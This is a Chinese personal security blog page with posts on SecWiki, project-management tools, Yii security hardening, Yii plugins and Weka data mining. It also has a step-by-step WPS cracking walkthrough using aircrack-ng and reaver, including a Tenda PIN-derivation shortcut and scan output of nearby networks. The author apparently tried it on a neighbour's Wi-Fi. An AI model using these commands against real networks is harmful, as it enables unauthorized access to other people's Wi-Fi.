Ourren

关注技术,记录生活.

SecWiki:安全从业者的晨报

| 留言

SecWiki的初衷

一句话:为了更好地为安全爱好者服务。 作为从事安全行业的相关技术人员,每天上班、下班都非常的辛苦,除了为公司创造应有的价值外,自身为了未来更好的发展每天不得不阅读大量的行业资讯。但是目前由于互联网发展速度之猛,行业波及面之广,让我们每天生活充满了众多的噪声(例如微博、微信和QQ),我们不得不从一页有一页的资料中翻阅对自己有用的技术资讯和安全新闻,这样让我们很累。 因此,SecWiki的推出就是为了解决这些问题:帮助安全人员每天用最短的时间找到今日最新、最核心的行业新闻和技术资讯。从SecWiki的第一版到第二版我们都围绕着这个思想来做网站,当然在这个过程中也感谢很多朋友对网站提出了很多有用的建议。

SecWiki的现状

从2012年7月16日到现在,我们共收集并推荐了3808条技术资讯、48条安全事件、45个技术专题汇总、62个聚合链接、14期SecWiki周刊、7个漏洞、1个在线分析工具。 全站技术主要涵盖了Web安全、系统安全、恶意/漏洞分析、移动安全、设备安全、网络安全、运维安全、数据挖掘和编程技术。类型主要涉及文章、文档、视频等,每篇文章都有标准的标签属性,基本上涵盖了安全领域的相关技术。 但是目前网站的内容大部分内容基本上都由我提交,同时也有一些乐于分享的Hu0G4、secniu、Debug0、smarabbit等等一大批小伙伴们,在这里没办法一一列出,望见谅。

SecWiki快速提交

写到这里,小编自己确实有些过意不去:虽然给广大安全人员搭建提供了一个平台,但是对于一般用户而言,在提交新链接方面的操纵确实复杂,用户体验确实不好,但是SecWiki确实有一种快速提交当前网页的工具,但是一直没有用文章的方式进行介绍,借这个机会给大家分享以下:

SecWiki的愿望

SecWiki希望能有更多的分享者参与到项目计划中来,只有这样网站才能持续地良性发展。当然,作为分享者你也能够从中获益,主要有如下几个方面:

  1. 让自己养成善于阅读资讯的习惯,第一时间掌握安全圈的动态;
  2. 将随时看到的文章保存在SecWiki上,方便以后导出。(目前因为版权方面因素,SecWiki没有缓存文章原文内容,抱歉);
  3. 让你和你的昵称在安全圈有一定的认识度,认识更多的圈内朋友;
  4. 想想每天你提交的链接有很多安全人员都在阅读,这绝对是一件非常有意义的事。

如何任何问题欢迎留言或者微博: @腾讯微博 @新浪微博
意见反馈QQ群:295202941
联系邮件:SecWiki@qq.com

关于项目管理系统的一些讨论

| 留言

project-management-system

需求讨论

假设你身为一个团队的技术管理人员,在团队建立初期,你的人员或者事物相对比较少,你可以直接通过当面通知或者QQ群进行任务的派发;但是当一个团队人员增长过快并且事(项目+杂事)特别多的时候,你的生活可能就会出现混乱:boss随时在催你项目进度情况,不清楚团队人员一天在做什么,不知道团队人员一周干了什么事情。

或许你需要的只是个人的todo工具,在这次我隆重推荐doit.im(基于GTD理论的时间管理工具),但这不是我这篇文章的重点内容,我感觉一个团队的管理不仅仅是一个todo工具,跟更需要对项目的可控和可检测。

正是由于这样的需求,在对互联网上的免费项目管理系统(在线+离线)进行了搜索和分析,在此做一个总结,希望此文章能对与正在寻找项目管理系统的你有所帮助。

在线与离线

当代互联网有几个概念很火:”云计算”,”大数据“,”O2O“等,当然各个行业都基于这些很火的概念创造出了很多新颖的东西,比如安全领域的云空间、在线WAF、在线日志分析、各种盾、还有基于大数据的APT检测,更火的还是O2O带动了整个移动平台的高速发展。

当然,项目管理领域自然也不例外,将项目管理与云计算、移动化办公等结合起来,推出了各种在线的项目管理平台,各种优势都体现出来了,但是在线系统虽然在一定程度上消灭离线项目管理系统,但是无法得到全球普及。首先,只有初创团队或者互联网公司才会跟随时代的步伐,使用最先进的技术产品(online项目管理系统),一般的技术团队对该类产品感受不到其优点;其次,在线系统无法保证团队项目的信息和资料的安全性,诚然很多公司都会阐述我公司的系统采用了阿里云的主机,每周有安全测试人员对系统进行黑盒测试,但是你不能说明用户的数据是绝对安全的。

在此,总计下在线/离线项目管理系统的特点:

在线系统:方便、快捷、功能更新快,但用户数据的安全有待研究,适合于小型初创团队;
离线系统:隐私保护较好,功能较弱,用户体验不好,但方便自我搭建和维护,适合于对安全性要求较高的团队。

在线系统

经过我最近对该类项目管理系统的研究,推荐几个做得很好的系统,在线的推荐worktile,离线的推荐WSS(纯属于个人喜好问题)。大伙可以根据自己的需求进行选择,有啥需要讨论的欢迎留言:

  • 国外:Basecamp、JIRA、Trello
  • 国内:tower、teambition、Fengche、worktile

离线系统

  • 国外:redmine
  • 国内:禅道、WSS、TeamToy

worktile的布局和风格比较适合我个人,同时其功能也满足团队的研发需求,另外WSS相对与禅道而言相对简单很多,并且PHP开源程序,方便修改。禅道虽然其功能相当细致,但是其安全性有待进一步提高。

总体而言,先理清自己是否需要注重安全问题,如果这个方面需求比较高,那还是用离线版搭建在自己的内网中吧,否则就还是用在线服务吧,不折腾可移动办公。PS:个人用户的话还是用好Todo类软件吧,好好管理好自己的时间。

YII开发需要注意的安全问题

| 留言

yii_security

前沿

接触YII开发已经有一些日子了,虽然YII把MVC的思想在PHP语言上发挥得淋漓尽致,但是在实际的YII开发中稍不注意还是会引起很多安全问题,本文主要对YII开发中需要注意的安全问题进行总结,方便后来开发者对此引起重视。

1.越权攻击

越权攻击可能跟MVC架构相关,YII虽然提供了基于RBAC的接口,同时auth插件将RBAC理念直接图形化操作,但是在实际的编程中使用基于RBAC认证的应用可能不是很多,因此直接采用系统默认的accessControl可能就会存在一些问题,例如在修改和删除操作的时候,如果采用系统默认的判定是无法实现业余系统的功能的,因为在更新或者删除的时候需要对所有权进行判定(即:该条数据是否属于当前用户),一般可以采用如下的规则进行判定:

$currentid = Yii::app()->user->getId();
if($model->uid === $currentid)
{
    //do something after auth
} 
else
{
    throw new CHttpException(400,'not allow');
}

2.注入攻击

目前框架类语言在防止注入攻击方面做得还是不错的,一般主要按照框架提供数据库类进行操纵即可,YII框架在数据方面的操作也不例外,在插入、更新、删除、查询方面YII封装了很多类和函数,操作数据库的时候建议直接采用这些函数即可,不要用拼接字符串进行操作,例如,查询是经常遇到的操作,一般都是采用CDbCriteria类添加条件并查询:

//compare createtime
$criteria = new CDbCriteria;
$criteria->addCondition('createtime>:btime');
$criteria->params[':btime'] = $btime;

$criteria->addCondition('createtime<:etime');
$criteria->params[':etime'] = $etime;
$criteria->order = 'id desc';
$retarr = XXX::model()->findAll($criteria);

3.跨站请求伪造攻击

针对跨站请求伪造攻击CSRF攻击,YII直接提供了配置中全局进行CSRF防御,具体操作是在config/main.php中设置:

'components'=>array(
    'request'=>array(
        'enableCsrfValidation'=>true,
    ),
),

4.跨站攻击防御

跨站攻击主要针对客户端浏览器这块,YII在跨站方面方面主要有以下几种处理办法。

  • httponly

XSS跨站攻击主要针对盗取cookie或者通过XSS进行CSRF或者钓鱼攻击,先通过设置httponly可以在一定程度上降低XSS攻击,具体设置办法在config/main.php中设置:

//csrf cookie httponly
'request'=>array(
    'enableCsrfValidation' => true,
    'enableCookieValidation'=>true,
    'csrfCookie'=>array(
            'httpOnly'=>true,
    ),
),
//session httonly
'session' => array(
        'cookieParams' => array(
                'httponly' => true,
        ),
),
  • 编码/转义

针对用户需要在特定情况下输入数据,而这些数据是用户可以通过输入可以控制的数据。这时需要对该类数据进行编码处理,否则容易引起跨站攻击,一般主要有两种处理方法: 1.针对简单的文本处理 可以直接采用CHtml类的encode函数进行处理,该函数采用HTML编码方法对数据进行编码(即会对”<“,”>“,‘”’,“&”,“ ”. etc).

CHtml::encode($var);

2.针对富文本处理 在富文本情况下,处理相对比较复杂,主要可以通过YII提供的widget进行处理,实际处理代码如下:

beginWidget('CHtmlPurifier');
    echo $model->something; 
    $this->endWidget();
 ?>
需要注意的问题,需要php开启:php-dom 或者php-xml。例如centos可以运行如下命令:
yum install php-dom

Reference

基于Bootstrap的YII插件汇总

| 留言

yii_bootstrap

YII作为当前流行的PHP框架,可以快速地开发网站和应用;而bootstrap作为twitter开源的响应式布局解决方案,可以在不了解CSS和JavaScript脚本的基础上实现网页的布局和网站设计。YII+Bootstrap两者结合起来可以说是加速了网站开发进度,让开发人员只需关注网站的功能。

yiiframework官方网站可以看到很多YII插件,当前少不了基于bootstrap的插件,个人从开始接触yii和bootstrap也差不多一年多了,在这里推荐下几个常用的基于bootstrap的yii插件。

     yii-bootstrap

该插件出现时间最早,同时该作者还写了很多yii插件,比如强大的auth插件。yii-bootstrap插件将常用的bootstrap的布局进行了封装,将所有可能单独使用的元素写成了widgets小工具,开发人员只需要使用PHP语言即可写出比较完美的网站。

      yiibooster

yiibooster在yii-bootstrap的基础上进行了二次开发,集成了更多的开源库,例如:jQuery、Highcharts JS等。

      yiistrap

yiistrap是最新的开源项目,跟前面两个开源库的使用有所不同,扩充性和易用性更好。

这几个开源库的配置相对比较简单,对应的网站都有相应的入门教程。

无线安全之WPS

| 留言

wireless_attch_wps

最近在淘宝入手了一套8187芯片主板与14DB平板天线,用我的老爷笔记本做了下测试,结果测试效果还行,邻居的电信带宽速度也不错。

具体涉及的无线安全技术:主要是扫描开放有WPS功能的无线路由器,然后通过开源软件reaver来暴力破解pin码,最后通过pin来得到无线路由器WPA-PSK密码。前面暴力破解时间稍微比较长,后面这个过程可以说是秒杀。

配置

基本配置就如下所示,出了笔记本电脑外其它就价格也就RMB120块左右。

8187 芯片主板 14DB平板天线 3米 USB2.0延长线 安装Linux 系统的笔记本

话说14DB的平板天线看起来还是很霸气的,关于事事如意18DB天线也测试了下效果差不多,不知道是不是楼层的问题。

准备工作

安装驱动和工具(aircrack-ng和reaver),Ubuntu可以直接APT,其它系统可以需要下载源码安装,不过都很简单。

sudo apt-get install aircrack-ng sudo apt-get install reaver

破解过程

1、开启网卡的监控模式

sudo airmon-ng start wlan0

2、扫描附近的无线信号

sudo airodump-ng mon0

在这个过程中你会看到很多无线信号,主要观察几个参数 :PWR(信号强度,越小越好),MB(需要为54e.)。

BSSID      PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID 68:53:21:E3:30:BE  -1 0 0 0 143 -1 <length: 0> BC:D1:77:25:76:84 -47 50 2 0 1 54e WPA2 CCMP PSK fire C8:3A:35:55:42:E8 -44 35 0 0 8 54e WPA CCMP PSK Tenda_5542E8 1C:FA:68:1C:7D:D6 -56 30 0 0 6 54e. WPA2 CCMP PSK hool A8:15:4D:83:6A:24 -51 29 5 0 11 54e. WPA2 CCMP PSK show F4:EC:38:3D:02:B6 -53 19 0 0 1 54e. WPA2 CCMP PSK

这里特别强调下Tenda路由器可以秒杀,其路由器的MAC前面地址为: C8:3A:35,后面6为是pin的前8位的十六进制。因此只需要复制MAC地址的后6位,然后转为十进制,就可以得到PIN码的前面的数字了。

3、破解PIN码

sudo reaver -i mon0 -b MAC -a -S -vv -d 0 -c 1

知道PIN前面的数字的时候可以用下面这个命令:

sudo reaver -i mon0 -b MAC -a -S -vv -d 0 -c 6 -p 40000

-b 后面跟MAC地址

-c 频道,从扫描结果看

然后就开始破解了,等4个小时左右基本上可以搞定。

附上reaver调整参数的一些小技巧

reaver:

-i 监听后接口名称

-b 目标mac地址

-a 自动检测目标AP最佳配置

-S 使用最小的DH key(可以提高PJ速度)

-vv 显示更多的非严重警告

-d 即delay每穷举一次的闲置时间 预设为1秒

-t 即timeout每次穷举等待反馈的最长时间

-c 指定频道可以方便找到信号

 

从weka软件所理解的几个概念

| 留言

weka_data

前言

原来经常在别人博客、书或者论文中上看到weka这个数据挖掘工具,经常被用于试验数据测试、真实数据分析等。今天无意中翻阅到IBM技术博客中对weka有一个系统教程:“用weka进行数据挖掘”,教程分为1、2、3三部分(链接见参考文章1,非常不错,推荐大家阅读),看完文章后对数据挖掘几种常见的技术有了一定的了解,现谈谈个人的理解。

在实际的数据挖掘与其他计算机工程应用中经常会遇到:如何通过已知的数据或者条件来预测未知事物的属性或者用户的喜好等。例如,在分析恶意程序或者文档中经常提到的贝叶斯分类算法;著名的亚马逊在你购买某种商品时给你显示的“你可能感兴趣的”;《大数据时代》书中提到的基于以往的航班信息推断航班是否晚点或者飞机票价格等,这些都是利用数据挖掘的相关技术来实现的,可能我们现在可以做的跟实际的工程应用相差很远,但是通过学习至少可以对这些技术有所了解。

Weka是什么

谈了这么久,还没有说到Weka是什么。weka可以看作是一个数据挖掘的工具,可以对格式化的数据进行分析并给出分析结果或者构建一个模型,我们可以从这些分析结果发现某些特征或者可以利用这个模型来分析其它同类数据。IBM系统文章中主要介绍了weka的四类数据挖掘技术:回归、分类树/决策树、群集、最近邻。这四类技术基本上囊括了数据挖掘的核心思路,通常我们在文章或者论文中看到贝叶斯、SVM等各类算法在weka中都有集成,同时weka还提供开发接口,可以直接将这些算法快速集成到自己的项目或者程序中。

四类技术

这里主要是对回归、分类、群集和最近邻这四类技术做一个概念阐述,具体如何操作可以参照IBM系列教程一步一步做,相信通过教程中的试验可以对weka和数据挖掘技术有一个简单的认识。

回归技术

回归技术,用来基于其他的示例数据预测一个数值输出。在IBM系列教程1中,主要用一个房子定价来阐述该类技术的用途,简单地说就是通过对周围出售房子的配置和价格进行统计,然后推算附件地区特定配置房子的房价。

例:房子定价。房子的价格(因变量)是很多自变量 — 房子的面积、占地的大小、厨房是否有花岗石以及卫生间是否刚重装过等的结果。所以,不管是购买过一个房子还是销售过一个房子,您都可能会创建一个回归模型来为房子定价。这个模型建立在邻近地区内的其他有可比性的房子的售价的基础上(模型),然后再把您自己房子的值放入此模型来产生一个预期价格。

分类技术

分类技术,即分类树或决策树,用来创建一个实际的分支树来预测某个未知数据点的输出值。在IBM系列教程2中,主要是预测的是对BMW促销活动的反应。

例:促销活动。BMW经销店正在启动一个推销计划,试图向其老客户推销两年延保。通过对原来顾客的数据分析来构建模型,从而判定一个人是否有延保需求,要求模型的准确率要尽可能高。此时可以通过对原来购买车主的收入水平、第一辆BMW购买的年/月、最近的BMW购买的年/月、是否过去曾响应过延保计划这个参数来作为实验数据,然后通过特定算法来构建模型,最近通过剩余部分数据来判定模型的准确性。

群集技术

群集技术,可用它来创建数据组(群集)并从中识别出趋势和其他规则。在IBM系列教程2中,主要是通过对人们的行为来区分是否有购买汽车的需求等。

例:行为特征研究。BMW 经销店保留了人们如何在经销店以及展厅行走、他们看了哪些车以及他们最终购车的机率的记录。经销店期望通过寻找数据内的模式挖掘这些数据并使用群集来判断其客户是否有某种行为特点。

最近邻

最近邻技术。这种算法非常适合于寻找接近于一个未知数据点的那些数据点并使用来自这些值的已知输出来预测未知输出。我向您展示了这种数据挖掘为何对在线购物网站上的推荐产品功能非常理想。通过一些数据挖掘,像亚马逊这样的站点可以快速(对于这类站点是最起码的,因为有数千台计算机)告诉您与您类似的其他顾客购买的东西。

核心思想

数据挖掘最为重要的一点:正确的模型必须用于正确的数据。只有在了解常见的数据挖掘技术后才能在实际应用中快速选择最适合的技术和算法。 PS:weka里面算法很多,得找点文章研究下如何在weka中使用常见的算法才行。

参考文章

1、用weka进行数据挖掘